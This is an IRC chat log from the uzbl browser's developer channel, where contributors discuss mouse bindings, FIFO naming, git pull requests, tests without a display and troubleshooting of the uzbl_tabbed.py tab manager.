19:25 < github> Take argv[1] as URI.
19:25 < github> http://bit.ly/5WdD7
19:25 < github> uzbl: Tom Adams experimental SHA1-9b51ec7
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19:26 < github> Merge commit 'Dieterbe/experimental' into new_experimental
19:26 < github> http://bit.ly/Us7mc
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19:41 < holizz> Ohloh again: my kudos is at 7.
19:42 < aep> hm uzbl doesnt resize the website when resizing the winsow
19:43 < aep> ah that website just sucks
19:43 < Dieterbe> you want a website to be resized? as in scaled?
19:44 < aep> yeah.  works in ff
19:44 < aep> but only partial
19:44 < dxdx> aep: works for me
19:44 < aep> zoom would be cool :(
19:44 < aep> uzbl does it right for non-broken websites
19:45 < dxdx> then?
19:45 < dxdx> do not expect that to work with sites that have fixed layout :P
19:45 < aep> yeah
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19:53 < github> uzbl: Dieter Plaetinck experimental SHA1-8289b66
19:53 < github> readme entry for geometry flag
19:53 < github> http://bit.ly/xALAX
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20:01 < krayon> hmmm
20:01 < krayon> I remember now you can't easily get wID from PID :(
20:02 < krayon> so unless we make uzbl output it's wid on startup, wrapper scripts may be a bit painful
20:02 < Dieterbe> Huh?
20:03 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] uzbl --verbose
20:03 < Dieterbe> Uzbl start location: uzbl
20:03 < Dieterbe> window_id 27263008
20:03 < Dieterbe> pid 22741
20:03 < Dieterbe> name: 27263008
20:03 < Dieterbe> why you need this, is beyond me however
20:03 < krayon> true but that would require permanent verbose being run :(
20:04 < krayon> oh no, one could always turn it off afterwards i guess
20:05 < krayon> :o you have an A7N8-X mb Dieterbe?
20:05 < krayon> Me too :)
20:05 < krayon> Well, my media box does.
20:05 < krayon> I suppose you can't rely on the window id being used for fifo etc anyway
20:06 < krayon> Dieterbe: I was wanting to do this to clean up after uzbl (if and when req'd)
20:06 < krayon> I'll have to go lsof or something
20:06 < Dieterbe> yeah that's my main box
20:07 < Dieterbe> very old but does it's job :P sort of
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20:26 < krayon> I ended up going with the lsof option.
20:26 < krayon> Works well enough.
20:27 < krayon> Dieterbe: Can/should I put things like this on the wiki?
20:27 < Dieterbe> krayon: things like what?
20:27 < krayon> Dieterbe: A wrapper script to clean up after uzbl in the event of a crash etc
20:27 < krayon> To avoid fifo issues on start
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20:30 < Dieterbe> sure, wiki seems like a fine place for that
20:33 < krayon> Dieterbe: If you wanted to have a look ( while I wait for my wiki email :P ): http://www.datapax.com.au/upload/files/uzbl-launcher.sh.txt
20:37 < krayon> Dieterbe: So, with or without the passthru for the mouseses for now?
20:37 < krayon> The list is long with them :/
20:40 < Dieterbe> i would do it without, the only thing we need to figure out i think is how to spawn the context menu ourselves
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20:43 < Dieterbe> krayon: it looks okay, but why don't you do something like: NAME=$RANDOM uzbl --name $NAME; then you know you need /tmp/uzbl_$NAME
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20:57 < krayon> Dieterbe: Ah :P Didn't know there was that parameter option :P
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21:06 < krayon> hmm :/ still need to retrieve the fifo_dir then
21:08 < Dieterbe> well you are the person who configures your uzbl, so you know what fifo_dir is.
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21:11 < holizz> krayon: ^\s*set\s+icon\s*=\s*(.*?)\s*$^\s*set\s+icon\s*=\s*(.*?)\s*$
21:11 < holizz> s/icon/fifo_dir/
21:19 < ruskie> hmm any particular reason why uzbl instances just consume memory like there's no tomorrow? RES is at 120 on most of them
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21:45 < jrick> does the new release include krayon's patches for binding mouse events?
21:56 < krayon> jrick: Nope.
21:57 < jrick> ok, any idea how I can merge those changes into the new master branch? I'm kind of a git noob. :/
21:57 < krayon> jrick: I haven't finished finishing the finalising finishing process yet.
21:57 < jrick> oh, ok
21:58 < krayon> jrick: I don't think this stuff would go into the master very well as it's been built on the experimental
21:58 < holizz> krayon, master's been updated. It's in sync with experimental ATM.
21:58 < krayon> jrick: If you want one that works (temporarily) my branch thing has an earlier implementation.
21:58 < krayon> holizz: oic.
21:59 < jrick> krayon: yeah, I was using it so that my mouse wheel would scroll more lines
21:59 < krayon> What happened with that bug holizz?
21:59 < krayon> You know the reload == buggered status stuffs
22:00 < holizz> krayon, bct fixed that this morning.
22:00 < holizz> 187b76b94c8878709f0a88fd244e77858c1063e5
22:00 < krayon> right :)
22:02 < jrick> and how is Makefile-new-test different from Makefile?
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22:26 < Evanlec> so mouse-button support merged into master yet?
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22:27 < holizz> Evanlec, Nope.
22:27 < Evanlec> :(
22:27 < Evanlec> its in crayon's fork, why not just merge it in
22:28 < holizz> krayon, How's your mouse-button stuff going?
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22:31 < krayon> Evanlec: Because that's old and not goodaesta
22:31 < Evanlec> okay
22:31 < krayon> holizz: Had some calls (I'm night-shift on call support atm)
22:32 < krayon> :'(
22:32 < krayon> Old Solaris boxen :P
22:33 < Evanlec> so gtta wait for someone to write new mouse-button support?
22:38 < krayon> Evanlec: I could probably merge the old into the current if you're really in a hurry
22:40 < Evanlec> not that much of a hurrry but
22:40 < Evanlec> you code cannot be merged into the master repo ?
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22:56 < lwithers> ruskie: use something like smem to view actually memory usage
22:56 < lwithers> ruskie: it's possible you're getting bogus readings due to large uses of shared libraries, shared memory, memory mapping etc
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23:43 < jrick> I just updated to the latest master, and ARCH_UZBL doesn't expand (to anything, just the literal "ARCH_UZBL") in my useragent.  I tried changing it to \@ARCH_UZBL\@ but that didn't fix it, now it's just "@ARCH_UZBL@".
23:45 < jrick> ah, nvm. It needed to be @ARCH_UZBL
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23:50 < krayon> hmm, someone removed the uname stuff? I can't have SYSNAME in my user-agent anymore :(
23:53 < jrick> krayon: now it looks something like this: (my config)
23:53 < jrick> set  useragent       = Uzbl (Webkit @WEBKIT_MAJOR.@WEBKIT_MINOR.@WEBKIT_MICRO) (@(uname -sr)@ @(uname -m)@) (Commit @COMMIT)
23:54 < krayon> Yeah I guess calling out to uname is good enough eh :P
23:54 < jrick> I like it better, now I can run any kind of script in there
23:54 < jrick> actually, -sr and -m can be combined...
23:55 < jrick> I should reorder it to 'rms'
23:55 < krayon> well, you could using variables anyway but yeah I didn't think of that
23:56 < krayon> set useragent = Uzbl/@COMMIT (X11; U; @(uname -s -m)@; en-US) Webkit/@WEBKIT_MAJOR.@WEBKIT_MINOR.@WEBKIT_MICRO (A browser built upon the highly renowned web standards compliant and secure Webkit rendering engine that is the heart of several open source web browsers, including Uzbl, Midori and Android Webbrowser)
23:57 < krayon> :D
23:59 < jrick> love it :)
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00:26 < Dieterbe> jrick> I should reorder it to 'rms' <-- lol :)
00:26 < Dieterbe> make sure to share the exact source code when you do that !
00:35 < jrick> Dieterbe: I can't remember where, but I saw someone complaining that his Linux system didn't display GNU/Linux when he ran that command :)
00:35 < jrick> I think the -o option is for that, but I'm on FreeBSD, so I don't have that
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01:06 < krayon> Dieterbe: We almost need a debug as well as verbose
01:06 < krayon> Dieterbe: I've been using verbose to output things like "button 1 click" etc but it'll spam people if they have verbose on :(
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01:56 < krayon> Evanlec: jrick: I just committed the mouse stuff into my branch thingy which was first merged with Dieterbe's so it's the latest + mouse.
01:57 < jrick> ooh, nice
01:57 < krayon> I'm not sure how to cleanly pass it up to Dieterbe for inclusion however
01:57 < krayon> (as I changed some stuff here and there)
01:57 < krayon> I may have to make a fresh branch of Dieterbe's and then apply a patch or something to make it more clean
01:57 < krayon> Anyone know the details specifics?
01:58 < Evanlec> mm
01:58 < krayon> Evanlec: jrick: regardless though, you can use the one from mine atm if you like and you'll get the latest, but mouse support too.
01:58 < Evanlec> krayon: can't you just submit a patch for the mouse stuff?
01:59 < krayon> Evanlec: Not sure what the correct procedure is but I've been told it's doing branching then pull requests, not patches.
01:59 < jrick> krayon: http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-July/000150.html is this helpful?
02:00 < Evanlec> krayon: yea, generally, but it sounds like your branch has a bunch of other stuff on there besides the mouse integration
02:00 < krayon> Evanlec: No, it doesn't.
02:00 < krayon> Evanlec: It's just the latest + mouse
02:00 < krayon> that's all
02:01 < Evanlec> so you have rebased from dieterbe ?
02:01 < krayon> though I plan to add my enttybox code to it eventually, right now that's not in there.
02:01 < krayon> Evanlec: Yes.  I think.
02:01 < Evanlec> well then just send a pull request
02:01 < krayon> Evanlec: Put it this way, a diff of Dieterbe and mine == mouse only
02:02 < jrick> krayon: do you know the git commands to switch to your branch?
02:02 < krayon> My concern is that the pull request is associated with a commit, or the changes therein and as THIS specific commit was working off my ALREADY changed stuff, if one were to apply just this commit, or fail to take into account the earlier data, it wouldn't work.
02:02  * krayon doesn't know git though so ... :P
02:02 < jrick> aww
02:02 < krayon> jrick: You can check out easily by doing:
02:03 < krayon> jrick: git clone git://github.com/krayon/uzbl.git DESTINATION_DIR_FOR_KRAYONS_BRANCH
02:03 < jrick> well, yeah. I knew that much :)
02:04 < krayon> jrick: Thanks for the link to the mail btw, helpful.
02:04 < Evanlec> krayon: doesnt make sense though, you said you branch was clean with the addition of the mouse support
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02:04 < Evanlec> so it should merge cleanly with dieterbe's
02:04 < krayon> Evanlec: Well, I had mine, I merged the latest ontop, i then made changes and committed to mine.
02:05 < krayon> Evanlec: Does that mean Dieterbe could then simply merge onto his?
02:05 < Evanlec> should
02:05 < Evanlec> he can always look it over before merging
02:05 < krayon> Evanlec: As I said, I'm a svn guy so I don't know this stuff... :P
02:06 < Evanlec> also from what i remember, github gives you some indication about how likely your branch will be able to merge into the trunk
02:06 < krayon> Evanlec: The other thing is that my changes might not be welcome as they have more comments than the rest of the code :/
02:06 < krayon> yeah true.
02:06 < Evanlec> well he can always reject your request ;)
02:07 < krayon> :P
02:08 < jrick> krayon: yep, got my mouse whell bindings to work again. thanks!
02:08 < jrick> s/el/ee/
02:08 < krayon> jrick: Also, you can overload 3 levels which is cool too.  eg: <link-wheelup>_ <link-wheelup> <wheelup>
02:09 < jrick> yeah, I saw you talking about earlier. cool stuff
02:09 < krayon> jrick: I updated the example config with a few to show
02:09 < jrick> oh, ok
02:09 < jrick> I just changed the Makefile so it only installs/uninstalls bin/uzbl
02:10 < krayon> jrick: Ah OK,  well, you can still look in the sources directory
02:10 < jrick> yeah
02:14 < krayon> jrick: Oh, and if you wanted to see what you need to bind for the desired behaviour, turn on verbose and run in terminal ... it'll output every mouse event it is aware of and what the bind for it is.
02:14 < jrick> ok, thanks!
02:14 < krayon> jrick: Makes it easier when choosing what you want :P
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08:30 < bct_> there was a crazy storm here an hour or two ago
08:30 < bct_> the wind uprooted the spruce tree in front of my apartment
08:31 < bct_> and there are no lights on on the east side of the city, the power must be completely out
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10:03 < Phillemann> bct_: Where are you from?
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10:24 < Dieterbe> good morning
10:27 < Dieterbe> uranther: i am now
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10:50 < github> uzbl: Dieter Plaetinck experimental SHA1-ca17db2
10:50 < github> usage output fixes
10:50 < github> http://bit.ly/MIFpW
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12:36 < holizz> What I want is to be able to have some kind of associative array in the config file. I'm thinking a handler for other protocols would be good. So I'd really like to do is "set schema[xmpp] = sh gajim-remote open_chat $8"
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12:56 < Dieterbe> holizz: meh
12:57 < Dieterbe> holizz: that seems just another way to phrase something like: set schema_handler xmpp = <foo>
12:57 < Dieterbe> (but then we'd need to implement arguments for set things)
12:57 < holizz> Yeah, something like that.
12:58 < holizz> Anything's better than making a new variable for every scheme in existance.
12:58 < ankan> What about "set open_handler = <foo>" that has to send an open command to uzbl if it should be done as normal?
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12:59 < holizz> ankan, That could work too. And is maybe a better idea.
12:59  * Dieterbe nods
12:59 < Dieterbe> and then you can even change the handler of a certain scheme depending on other things (such as current uri, time of day etc)
13:00 < Dieterbe> but we really need to figure out something against all these forking of new processes
13:00 < holizz> Dieterbe, I'm telling you, pyweb is the way to go.
13:01 < Dieterbe> that's your uzbl in python right?
13:01 < holizz> Yup.
13:02 < holizz> I think if uzbl's config file was a real language like JavaScript, we could do most of the work without shelling out.
13:02 < Dieterbe> yeah i know that python brings some advantages, but imho it's just shortcuts
13:03 < ankan> Would it be possible to run bash and/or python in some background mode and reuse it?
13:03 < ankan> "Load this script and run it"
13:03 < Dieterbe> yeah
13:04 < Dieterbe> that's what we want to do with the cookie handler for example
13:04 < holizz> That's sort of what the cookie deamon does, except it still uses shellouts to actually communicate with the deamon.
13:04 < ankan> I am not talking about using sockets or std-stdout for communication.
13:04 < ankan> But more like loading a new script in the same instance, no idea if it is possible.
13:05 < Dieterbe> oh...
13:05 < Dieterbe> no idea. but sounds pretty cool actually
13:06 < ankan> Since you can send a script to it via stdin...
13:06 < ankan> But it could prove tedious.
13:06 < Dieterbe> well that's a route we haven't explored yet.  it sounds pretty cool, as it would allow to change the script and see the effect immediately on the next request
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13:54 < jpic> hi, i can't find the nice dmenu based instance manager, any tip please?
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13:59 < holizz> jpic, Is it not on the wiki?
14:01 < jpic> holizz: can't find it, i might have only checked half of example configs yet
14:01 < jpic> currently reading irc logs ...
14:01 < jpic> a keyword to start searching with would help ;)
14:02 < holizz> It might be on the scripts page.
14:04 < jpic> uzbs_tabbed? :s
14:04 < Dieterbe> there is no such script yet afaik
14:05 < holizz> uzbl_tabbed is cool. It certainly manages instances.
14:06 < jpic> thanks for answering, uzbl_tabbed sources sound like a good option to start with
14:06 < jpic> holizz: the problems if have with tabbed navigation, is that afaik all you can do is go to previous/next tab, plus it won't show nice in dwm when showing all windows (meta-0 here)
14:07 < jpic> oh, this one is cool though, thanks !
14:07 < holizz> You can use the GtkNotebook's tab display, so you can click the tabs.
14:08 < jpic> yes, but the mice hate me ...
14:09 < holizz> Ah yes indeed.
14:10 < jpic> is there a javascript console? for web development/debugging
14:10 < holizz> Right-click -> inspect element brings up the WebKit inspector.
14:10 < holizz> That does all sorts.
14:12 < jpic> absolutely brillant! thanks a lot for sharing your sources
14:13 < jpic> btw, i made gentoo binary packages, maybe it would be useful to someone if i posted it in the ebuild page? or somewhere else?
14:13 < Dieterbe> wiki/howtos
14:13 < jpic> ok
14:17 < jpic> anybody had troubble connecting to gmail?
14:20 < holizz> What's the problem?
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14:20 < barrucadu> Hi
14:21 < jpic> holizz: keeps redirecting me to the login page
14:22 < holizz> Odd. What cookie_handler are you using?
14:29 < jpic> holizz: the one provided by the example, i can connect to other websites though
14:29 < jpic> s/connect/authenticate/
14:34 < holizz> jpic, _which_ example? i.e. what is cookie_handler set to in your config?
14:35 < jpic> holizz: cookies.py: http://nopaste.com/p/aiHluku5eb
14:36 < holizz> That's the old cookies.py.
14:37 < jpic> does that mean i have built an old uzbl? or maybe not?
14:38 < holizz> You probably have, if that's what you found in examples/....
14:39 < jpic> i used git://github.com/Dieterbe/uzbl.git
14:39 < holizz> When was the last time you pulled?
14:39 < jpic> yesterday :)
14:39 < jpic> actually i cloned yesterday
14:40 < holizz> Ah, you were using the master branch, I guess. That was updated yesterday. Besides, experimental is where the exciting features happen.
14:41 < Dieterbe> yeah if you pick master in its current state, it should work
14:41 < jpic> thanks for answering
14:42 < jpic> indeed!
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14:43  * barrucadu should really commence uzbl-hacking again…
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14:44 < jpic> i should probably cron build every day then
14:44 < holizz> From experimental. master doesn't get updated that frequently.
14:45 < jpic> i'll try to build both ...
14:46 < jpic> "just in case" :)
14:48 < barrucadu> Dieterbe: I've sent dusanx a PM on ubuntuforums asking where he is - but he was lack active in May so he probably won't get it unless he has email notifications turned on :(
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14:49 < Dieterbe> barrucadu: hm either way, it's just odd that he would just vanish and not even pop in to say hi
14:52 < barrucadu> Unfortunately, can't seem to find his email address anywhere
14:53 < Dieterbe> barrucadu: try `git log | grep -i dusan` in uzbl git clone :)
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14:54 < barrucadu> Ah. I should really have checked there :p
14:55 < barrucadu> Google is clearly inferior to grep. We now have undeniable proof.
14:55 < Dieterbe> :)
14:56 < barrucadu> Now all we need to do is figure out how to grep the internet :p
14:56 < holizz> Isn't there an implementation of grep that uses MapReduce?
14:59 < jpic> while i'm at it, do you want my server to run continuous integration tests?
14:59 < jpic> or do you already have what you need?
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15:14 < Dieterbe> continuewhat?
15:14  * Dieterbe opens google
15:15 < holizz> Dieterbe, Running "make tests" every time uzbl gets pushed to.
15:16 < Dieterbe> that sounds good to me
15:16 < jpic> pulling master fixed my gmail problem
15:17 < jpic> i can't do it every time uzbl gets pushed to because you're pushing on github
15:18 < jpic> but the daily cron will work
15:18 < holizz> jpic, Dieterbe could set up a push handler, so that when the branch gets pushed to, GitHub sends some data to something...
15:19 < Dieterbe> oh yeah. we can do that
15:20 < holizz> "Service hooks".
15:21 < Dieterbe> but then the receiving end also needs a copy of the source code to be able to run the tests
15:21 < Dieterbe> so maybe i should just set up a 2nd clone on uzbl.org which does the tests when it gets pushed to
15:22 < jpic> oh, tests need a display? i don't have that on the server ...
15:23 < jpic> sorry ...
15:23 < Dieterbe> display?
15:23 < Dieterbe> plaintext will do
15:24 < jpic> ./uzbl --uri http://www.uzbl.org --verbose
15:24 < jpic> (uzbl:24920): Gtk-WARNING **: cannot open display:
15:24 < jpic> make: *** [test] Error 1
15:24 < Dieterbe> well, if you want to start uzbl, then you need a display yes
15:24 < jpic> i think make test ran that command ...
15:24 < Dieterbe> i _think_ the unit tests don't need a display
15:25 < Dieterbe> ok, never mind what i just said then
15:25 < holizz> make test != make tests
15:25 < jpic> my bad
15:25 < holizz> But make tests also requires a display.
15:26 < jpic> it does ...
15:26 < Dieterbe> which test?
15:26 < Dieterbe> all of them?
15:26 < jpic> http://nopaste.com/p/a2jCxs4LD
15:28 < Dieterbe> complete output kthxbye?
15:29 < holizz> That would be the complete output of "DISPLAY= make tests", if make had already been run.
15:30 < jpic> holizz: it was already run ...
15:30 < jpic> maybe the best is that you make the shell script you want the server to run daily and send it to me?
15:32 < jpic> that's what i have for the moment http://nopaste.com/p/aNLbnKmUZ
15:35 < holizz> http://webkitgtk.org/gcds.html Hehe. Animated.
15:38 < jpic> here a less retarded script to start with: http://nopaste.com/p/aRVzpFqBx
15:58 < uranther> Dieterbe, take a look at http://gist.github.com/149331
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16:37 < holizz> I have the scheme_handler callback working. The only potential problem is that if you tried to set the handler to open the URI in uzbl it would create an infinate loop. But WebKit doesn't support ftp or anything so it shouldn't be a problem.
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16:44 < holizz> brb
16:46  * krayon yawns
16:46 < krayon> Good afternoon party goers :)
16:46 < holizz> Hello.
16:47 < jpic> i can't get the F bind to do anything else than printing [object HTMLDivElement] to stdout, running experimental
16:47 < jpic> any idea?
16:49 < holizz> Are you sure F isn't being bound to the default script?
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16:49 < mason-l> jpic, Type !dump in your command line and see what F is bound to
16:49 < mason-l> (Via the terminal output that is)
16:51 < jpic> F is bound to scripts/hint.js
16:53 < jpic> bind F = script /home/jpic/.config/uzbl/scripts/hint.js
16:54 < jpic> which source is: http://nopaste.com/p/aTaW62AhL
16:54 < krayon> Dieterbe: Can I do a pull request to you based on the last commit I did, despite the fact that it was to an already modified branch?
16:54 < krayon> As in, does the pull take all that into account and effectively do a diff of the branch at that point in time, and use that for the pull?
16:55 < krayon> See, I didn't want to send a pull request if you can't use it :P
16:56 < holizz> krayon, If there's a common source, the branches can be merged (and there _is_ a common source if they're from the same repository). But you should merge Dieterbe/experimental into your branch before you send a pull request.
16:57 < krayon> right cool
16:57 < krayon> yes I did that about 14 hours ago but it's probably been updated since :P
17:03 < holizz> I've fiddled with the code which checks if a URI is valid or not. The old behaviour was: unless /^(https?|data)/ { prepend "http://" }. The new behaviour is: if soup_new_uri can't parse it { prepend "http://" }.
17:04 < holizz> Good things: You can "o mailto:tom@holizz.com" and have your scheme_handler open up your mail programme. You can visit about:blank (and about:uzbl when I finally work out how to do that ;).
17:04 < holizz> Bad things: yourserver:8080 won't work -> you'll have to open http://yourserver:8080 instead.
17:06 < holizz> Good things: it's less code, more robust, and more elegant.
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17:14 < jpic> ok, hints just don't work in gmail
17:17 < holizz> Haha. I made an about:uzbl page.
17:17 < krayon> holizz: about:config could dump the config to the browser page
17:17 < holizz> Ohhh. Cool idea.
17:18 < holizz> I wonder if it could even use priviliaged JavaScript to _set_ the options...
17:19 < krayon> imho that would add too much complexity and everyone has a text editor
17:19 < krayon> the ability to see the current config (vs) the file currently doesn't exist
17:20 < krayon> therefore I think it'd be awesome.
17:20 < krayon> :D
17:20 < krayon> I have no idea how it works but could you have custom defined ones holizz?
17:20 < krayon> oh, nvm you could always just use a bind I guess
17:21 < krayon> bind about:bookmarks_ = set uri = /tmp/mybookmarks.html
17:21 < bct_> holizz, jpic: with respect to the tests failing if you don't have a DISPLAY
17:22 < bct_> the problem is that some of the tests test javascript.
17:22 < bct_> javascript needs a WebView
17:22 < bct_> which i think needs gtk.
17:23 < Dieterbe>  uranther> Dieterbe, take a look at http://gist.github.com/149331 <-- we should never try to reuse an already existing fifo/socket, because it may be in use by another uzbl instance (remember the user can do uzbl --name foo so the names could collide if the user is not carefull)
17:24 < Dieterbe> uranther: imho, if uzbl starts, and it cannot create the fifo/socket it needs for whatever reason (already exists, permission error, ...) uzbl should abort
17:24 < uranther> oh i guess i wasn't aware of the --name option
17:25 < Dieterbe>  krayon> yes I did that about 14 hours ago but it's probably been updated since :P <-- merge again from me then, always merge from me and keep doing that ;)
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17:27 < krayon> Dieterbe: I agree.  If you can't make a fifo, die. There's nothing wrong with that behaviour, and everything right :)
17:27 < mlysgaard> Hi =)
17:27 < uranther> Dieterbe, I can add an exit(EXIT_FAILURE) pretty easily.. if you think that should be done
17:28 < Dieterbe> holizz: sounds awesome to me. but why wouldn't yourserver:8080 work?
17:28 < Dieterbe> hello mlysgaard 
17:28 < mlysgaard> I just started using uzbl, and i figured i wanted a new feature so i added it: Let me explain
17:28 < Dieterbe> uranther: i think it should be the way i just explained, but if you disagree please tell us, and why :)
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17:29 < holizz> Dieterbe, Because it would be parsed as scheme=yourserver, path=8080, which would be a perfectly valid URI and so soup_new_uri would return a pointer rather than NULL.
17:29 < mlysgaard> When you press fl in the standard config you get a list of numbers for each link. I want to stay on my home row, so i made it work for letters instead, So now it uses eg asdfghjkl instead of 12345689
17:30 < mason-l> mlysgaard, What if those keys on the home row are bound to something else?
17:30 < mlysgaard> I have the new javascript file if you want it
17:31 < uranther> Dieterbe, how about a simple check if --name was used? otherwise abort
17:31 < jpic> mlysgaard: thanks, my layout has direct access to !@#${}&*() instead of numbers so i'd use it
17:31 < krayon> mlysgaard: I'd put it up on the wiki with the other scripts.
17:31 < mlysgaard> Well, just as the 1 and two key is bound to zooming in the standard config it works to press 1 and two when you want a link
17:31 < Dieterbe> i think mlysgaard's idea is pretty cool. in fact, i would make the keys configurable (eg valid_chars="0123" or valid_chars="asdf"), then we could merge mlysgaard's script into the current one, and everyone is more happy because he can pick the keys he want.  I, for example use dvorak so i could do valid_chars="aeu"
17:32 < krayon> uranther: It should be smart enough to make it's own for those who don't care to name them uniquely imho.
17:32 < mlysgaard> Dieterbe: Hehe, I use dworak to, so i have the keys aoeuidhtns
17:32 < krayon> uranther: And whilst you could make it just random, it's probably awesome that the default is the window ID
17:32 < uranther> krayon, oh nice insight, that's certainly an option
17:32 < krayon> mlysgaard: I was going to ask that as I'm dvorak here too :P
17:32 < Dieterbe> mason-l / mlysgaard : and if we make the keys configurable, then it's up to the user to avoid conflicts with other binds/keys
17:33 < holizz> mlysgaard, krayon, Go team Dvorak!
17:33 < mlysgaard> Yay!
17:33 < krayon> aoeu ftw!
17:33  * Dieterbe slaps holizz . you forgot me !
17:33 < mason-l> Dieterbe, Actually I just had a look the hint script is using fl* so theres no problem with conflicts (unless someones found fl13 for something..)
17:33 < jpic> i've forked dvorak to adapt it to programming ;)
17:33 < krayon> haha maybe that should be in the readme Dieterbe
17:33 < krayon> It seems if you use dvorak, you like uzbl
17:34 < jpic> File "./uzbl_tabbed.py", line 1067 self.new_tab() should be uzbl.new_tab()
17:34 < Dieterbe> krayon> uranther: It should be smart enough to make it's own for those who don't care to name them uniquely imho <-- well, that's what the default is for (xorg window id)
17:34 < holizz> 9/10 Dvorak users prefer uzbl.
17:34 < Dieterbe> krayon: ;)
17:34 < krayon> Dieterbe: Yes, I was agreeing with the current fifo naming design
17:34 < mason-l> jpic, Fixed in newer versions.
17:34 < krayon> Dieterbe: Something would be gained from using random, but something would also be lost.
17:35 < jpic> mason-l: how come? i checked out experimental a couple of hours ago?
17:35 < Dieterbe> or a popup every time you start uzbl.  if (keylayout != dvorak*) {js.popup ('isnt it time to switch to dvorak?'); }
17:35 < krayon> And as you can easily script random instead (using --name) you cannot easily do the other
17:35 < jpic> maybe not then
17:35 < mason-l> jpic, I'll check myself.
17:35 < uranther> Dieterbe, so how about, if it encounters an existing fifo, don't blow up, append a "_1" or something to the name and create a new fifo to attach to?
17:36 < bct> holizz, jpic: scratch that actually, i think i've got the tests working without a display. can you test?
17:36 < holizz> bct, Love to.
17:36 < krayon> btw --name didn't work for me but could just be a pebkac :/
17:36 < Dieterbe> uranther: nonononono. the user explicitly uses --name foo so that he can be sure that he can write to /tmp/uzbl_foo
17:36 < bct> http://github.com/bct/uzbl/tree/headless-tests
17:36 < uranther> oh
17:36 < krayon> uranther: As Dieterbe was saying too, you can just: uzbl --name ${RANDOM}
17:37 < Dieterbe> uranther: so either the user is sure he can write to the file that he choose, or he sees that uzbl errors out.  uzbl not erroring out but not listening on the file theuser told it to, would be baad
17:37 < jpic> mason-l: 1066 in current experimental
17:37 < krayon> uranther: If you are launching from bash, that'll choose a random each time
17:37 < jpic> *is the line number
17:37 < mason-l> jpic, And so it is.
17:37 < uranther> Dieterbe, ok, so back to what you were saying, uzbl should just abort if it encounters an existing fifo
17:37 < Dieterbe> uranther: IMHO, yes
17:37 < Dieterbe> uranther> Dieterbe, how about a simple check if --name was used? otherwise abort <-- and i wouldn't do that
17:37 < holizz> bct: Success!
17:38 < bct> yay
17:38 < uranther> Dieterbe, and, a non-destructive abort: don't delete the existing fifo
17:38 < bct> thanks, i'll send a pull request.
17:38 < mason-l> jpic, It turns out the version of uzbl_tabbed.py in Dieterbe's experimental is older than I thought, someone picked up that self.new_tab() weeks ago. Heres the latest: http://github.com/mason-larobina/uzbl/blob/d0d68183d1ab117c0d8eb2aed66330dbdb5a99d9/examples/data/uzbl/scripts/uzbl_tabbed.py
17:38 < Dieterbe> uranther: definitely, uzbl should not try to be smarter then the user. it should not try to delete files from the user
17:39 < uranther> alright cool..
17:39  * uranther gets to hackin'
17:39 < Dieterbe> mason-l: shit.  i was supposed to merge that fix, no? can you send a pull request to the ML ?
17:39 < jpic> apart from that, it seems like uzbl_tabbed.py would work, but the #0 tab title is stuck on "Loading" and i can't open a new tab
17:39 < Dieterbe> i'm going to eat now. see you guys later
17:40 < holizz> Have fun.
17:40 < mason-l> Dieterbe, Sure thing, I've also make a couple of extra fixes since then but its fully tested and I'll send a pull-request to you for the whole lot.
17:40 < krayon> Dieterbe: So I just give you a link to my commit yes?
17:40 < krayon> Dieterbe: In an email to the mailing list with the subject "Pull request: ..." ;)
17:41 < jpic> is the config file supposed to have "set bind_new_tab = gn" or "bind new_tab = gn" ?
17:41 < holizz> jpic, It's bind new_tab.
17:42 < holizz> I think the bindings and variables are in seperate tables.
17:42 < uranther> Dieterbe, i see the experimental branch already has some changes to create_fifo
17:43 < ruskie> holizz, I thought it was set bind_new_tab = gn
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17:43 < jpic> still not doing the trick: gn is not recognized. This is my config: http://nopaste.com/p/aICk8MrG3 (tab stuff at the end)
17:43 < ruskie> holizz, atleast that's what I have: set bind_new_tab        = :tab
17:43 < holizz> ruskie, Oh, is that how uzbl_tabbed works then? Interesting.
17:43 < ruskie> yup
17:44 < jpic> ruskie: even the :tab command is not recognized here ... i do see the tab bar though, and can change its color etc ...
17:44 < ruskie> so all those should be set whatever
17:44 < mason-l> "<jpic> is the config file supposed to have "set bind_new_tab = gn"" <- set bind_new_tab = gn
17:44 < ruskie> the settings should be documented in the uzbl_tabbed.py
17:44 < ruskie> so just copy paste them
17:45 < ruskie> jpic, as for :tab you have a :_ binding earlier which messes this up
17:45 < mason-l> jpic: You need to change those binds to sets :) http://nopaste.com/p/aICk8MrG3
17:46 < jpic> mason-l: i did, when you told me to
17:47 < mason-l> jpic, Working?
17:47 < jpic> mason-l: nope
17:48 < jpic> ruskie: when i remove :_ then no command is even sent
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17:48 < jpic> as opposed to "command "tab" not understood. ignoring."
17:48 < mason-l> jpic, Where is your config file located?
17:49 < jpic> it's in /home/jpic/.config/uzbl/config and $XDG_DATA_HOME points to /home/jpic/.config (set in bashrc)
17:50 < uranther> oh nvm i was looking at Barracadu's experimental branch..
17:51 < mason-l> jpic, Ok add this to line 817 (just below the binds but before the send in the config_uzbl function): print "\n".join(binds)
17:51 < mason-l> jpic, Now you should see on startup the config commands sent to each uzbl instance
17:52 < mason-l> See if they are valid and or paste them to pastebin
17:53 < mason-l> I get the line: bind gn = sh "echo \"new\" > \"/tmp/uzbltabbed_22490\""
17:53 < mason-l> You should get something similar
17:53 < jpic> mason-l: for some reason, just adding the print working
17:53 < jpic> *made it work
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17:53 < mason-l> That is bizarre.
17:54 < jpic> absolutely
17:55 < jpic> actually, when i send a tab command myself to the fifo, it works
17:55 < jpic> through the browser: ** (uzbl:15188): WARNING **: init_socket: could not open in /tmp /uzbl_socket_14680067_02: No such file or directory
17:55 < mason-l> Eeek!
17:55 < mason-l> Thats a problem .
17:56 < jpic> just starting uzbl_tabbed.py: http://nopaste.com/p/a5nrKnyBo
17:56 < jpic> i'm supposed to run uzbl_tabbed.py right?
17:57 < jpic> don't mind the ` i just checked, i typed it in the console
17:57 < mason-l> jpic, Yeah you run uzbl_tabbed.py
17:58 < mason-l> There is a space in that path -->  /tmp /uzbl_socket_14680067_01
17:58 < mason-l> Thats not right.
17:58 < jpic> that's from my terminal sorry, i'll repaste
17:59 < jpic> http://nopaste.com/p/a5ogc6gNj
17:59 < jpic> ahh, i see what you mean, my bad
18:00 < mason-l> And while you are at it check that you have pairs of "uzbl_fifo_*" and "uzbl_socket_*" in: ls /tmp/uzbl*
18:00 < jpic> i don't have sockets
18:00 < jpic> but there is one fifo
